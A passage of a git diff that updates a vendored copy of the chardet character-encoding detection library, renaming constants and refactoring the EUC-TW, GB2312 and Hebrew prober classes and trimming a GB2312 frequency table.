120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 +) -# flake8: noqa diff --git a/thirdparty/chardet/euctwprober.py b/thirdparty/chardet/euctwprober.py index fe652fe37a9..35669cc4dd8 100644 --- a/thirdparty/chardet/euctwprober.py +++ b/thirdparty/chardet/euctwprober.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -28,14 +28,19 @@ from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCTWDistributionAnalysis -from .mbcssm import EUCTWSMModel +from .mbcssm import EUCTW_SM_MODEL class EUCTWProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCTWSMModel) - self._mDistributionAnalyzer = EUCTWDistributionAnalysis() + super(EUCTWProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) + self.distribution_analyzer = EUCTWDistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "EUC-TW" + + @property + def language(self): + return "Taiwan" diff --git a/thirdparty/chardet/gb2312freq.py b/thirdparty/chardet/gb2312freq.py index 1238f510fc6..697837bd9a8 100644 --- a/thirdparty/chardet/gb2312freq.py +++ b/thirdparty/chardet/gb2312freq.py @@ -43,7 +43,7 @@ GB2312_TABLE_SIZE = 3760 -GB2312CharToFreqOrder = ( +GB2312_CHAR_TO_FREQ_ORDER = ( 1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, 2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, 2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, @@ -278,195 +278,6 @@ 1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, 1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, - 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, # last 512 -#Everything below is of no interest for detection purpose -5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636, -5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874, -5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278, -3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806, -4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827, -5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512, -5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578, -4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828, -4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105, -4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189, -4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561, -3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226, -6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778, -4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039, -6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404, -4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213, -4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739, -4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328, -5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592, -3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424, -4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270, -3158,5985,4100, 867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232, -4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456, -4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121, -6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971, -6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409, -5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519, -4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367, -6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834, -4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460, -5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464, -5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709, -5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906, -6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530, -3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262, -6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920, -4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190, -5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318, -6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538, -6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697, -4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544, -5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016, -4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638, -5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006, -5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071, -4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552, -4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556, -5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432, -4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632, -4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885, -5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336, -4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729, -4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854, -4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332, -5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004, -5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419, -4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293, -3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580, -4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339, -6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341, -5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493, -5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046, -4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904, -6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728, -5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350, -6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233, -4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944, -5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413, -5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700, -3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999, -5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694, -6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571, -4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359, -6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178, -4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421, -4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330, -6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855, -3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587, -6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803, -4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791, -3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304, -3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445, -3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506, -4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856, -2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057, -5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777, -4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369, -5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028, -5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914, -5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175, -4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681, -5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534, -4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912, -5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054, -1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336, -3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666, -4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375, -4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113, -6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614, -4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173, -5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197, -3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271, -5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423, -5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529, -5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921, -3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837, -5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922, -5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187, -3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382, -5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628, -5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683, -5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053, -6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928, -4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662, -6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663, -4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554, -3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191, -4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013, -5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932, -5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055, -5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829, -3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096, -3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660, -6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199, -6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748, -5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402, -6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957, -6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668, -6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763, -6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407, -6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051, -5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429, -6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791, -6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028, -3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305, -3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159, -4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683, -4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372, -3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514, -5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544, -5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472, -5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716, -5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905, -5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327, -4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030, -5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281, -6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224, -5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327, -4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062, -4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354, -6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065, -3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953, -4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681, -4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708, -5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442, -6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387, -6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237, -4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713, -6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547, -5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957, -5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337, -5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074, -5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685, -5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455, -4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722, -5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615, -5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093, -5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989, -5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094, -6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212, -4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967, -5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733, -4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260, -4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864, -6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353, -4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095, -6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287, -3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504, -5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539, -6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750, -6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864, -6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213, -5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573, -6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252, -6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970, -3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703, -5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978, -4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767) + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, #last 512 +) -# flake8: noqa diff --git a/thirdparty/chardet/gb2312prober.py b/thirdparty/chardet/gb2312prober.py index 0325a2d8614..8446d2dd959 100644 --- a/thirdparty/chardet/gb2312prober.py +++ b/thirdparty/chardet/gb2312prober.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -28,14 +28,19 @@ from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import GB2312DistributionAnalysis -from .mbcssm import GB2312SMModel +from .mbcssm import GB2312_SM_MODEL class GB2312Prober(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(GB2312SMModel) - self._mDistributionAnalyzer = GB2312DistributionAnalysis() + super(GB2312Prober, self).__init__() + self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) + self.distribution_analyzer = GB2312DistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "GB2312" + + @property + def language(self): + return "Chinese" diff --git a/thirdparty/chardet/hebrewprober.py b/thirdparty/chardet/hebrewprober.py index ba225c5ef43..b0e1bf49268 100644 --- a/thirdparty/chardet/hebrewprober.py +++ b/thirdparty/chardet/hebrewprober.py @@ -26,8 +26,7 @@ ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber -from .constants import eNotMe, eDetecting -from .compat import wrap_ord +from .enums import ProbingState # This prober doesn't actually recognize a language or a charset. # It is a helper prober for the use of the Hebrew model probers @@ -126,56 +125,59 @@ # model probers scores. The answer is returned in the form of the name of the # charset identified, either "windows-1255" or "ISO-8859-8". -# windows-1255 / ISO-8859-8 code points of interest -FINAL_KAF = 0xea -NORMAL_KAF = 0xeb -FINAL_MEM = 0xed -NORMAL_MEM = 0xee -FINAL_NUN = 0xef -NORMAL_NUN = 0xf0 -FINAL_PE = 0xf3 -NORMAL_PE = 0xf4 -FINAL_TSADI = 0xf5 -NORMAL_TSADI = 0xf6 - -# Minimum Visual vs Logical final letter score difference. -# If the difference is below this, don't rely solely on the final letter score -# distance. -MIN_FINAL_CHAR_DISTANCE = 5 +class HebrewProber(CharSetProber): + # windows-1255 / ISO-8859-8 code points of interest + FINAL_KAF = 0xea + NORMAL_KAF = 0xeb + FINAL_MEM = 0xed + NORMAL_MEM = 0xee + FINAL_NUN = 0xef + NORMAL_NUN = 0xf0 + FINAL_PE = 0xf3 + NORMAL_PE = 0xf4 + FINAL_TSADI = 0xf5 + NORMAL_TSADI = 0xf6 -# Minimum Visual vs Logical model score difference. -# If the difference is below this, don't rely at all on the model score -# distance. -MIN_MODEL_DISTANCE = 0.01 + # Minimum Visual vs Logical final letter score difference. + # If the difference is below this, don't rely solely on the final letter score + # distance. + MIN_FINAL_CHAR_DISTANCE = 5 -VISUAL_HEBREW_NAME = "ISO-8859-8" -LOGICAL_HEBREW_NAME = "windows-1255" + # Minimum Visual vs Logical model score difference. + # If the difference is below this, don't rely at all on the model score + # distance. + MIN_MODEL_DISTANCE = 0.01 + VISUAL_HEBREW_NAME = "ISO-8859-8" + LOGICAL_HEBREW_NAME = "windows-1255" -class HebrewProber(CharSetProber): def __init__(self): - CharSetProber.__init__(self) - self._mLogicalProber = None - self._mVisualProber = None + super(HebrewProber, self).__init__() + self._final_char_logical_score = None + self._final_char_visual_score = None + self._prev = None + self._before_prev = None + self._logical_prober = None + self._visual_prober = None self.reset() def reset(self): - self._mFinalCharLogicalScore = 0 - self._mFinalCharVisualScore = 0 + self._final_char_logical_score = 0 + self._final_char_visual_score = 0 # The two last characters seen in the previous buffer, # mPrev and mBeforePrev are initialized to space in order to simulate # a word delimiter at the beginning of the data - self._mPrev = ' ' - self._mBeforePrev = ' ' + self._prev = ' ' + self._before_prev = ' ' # These probers are owned by the group prober. def set_model_probers(self, logicalProber, visualProber): - self._mLogicalProber = logicalProber - self._mVisualProber = visualProber + self._logical_prober = logicalProber + self._visual_prober = visualProber def is_final(self, c): - return wrap_ord(c) in [FINAL_KAF, FINAL_MEM, 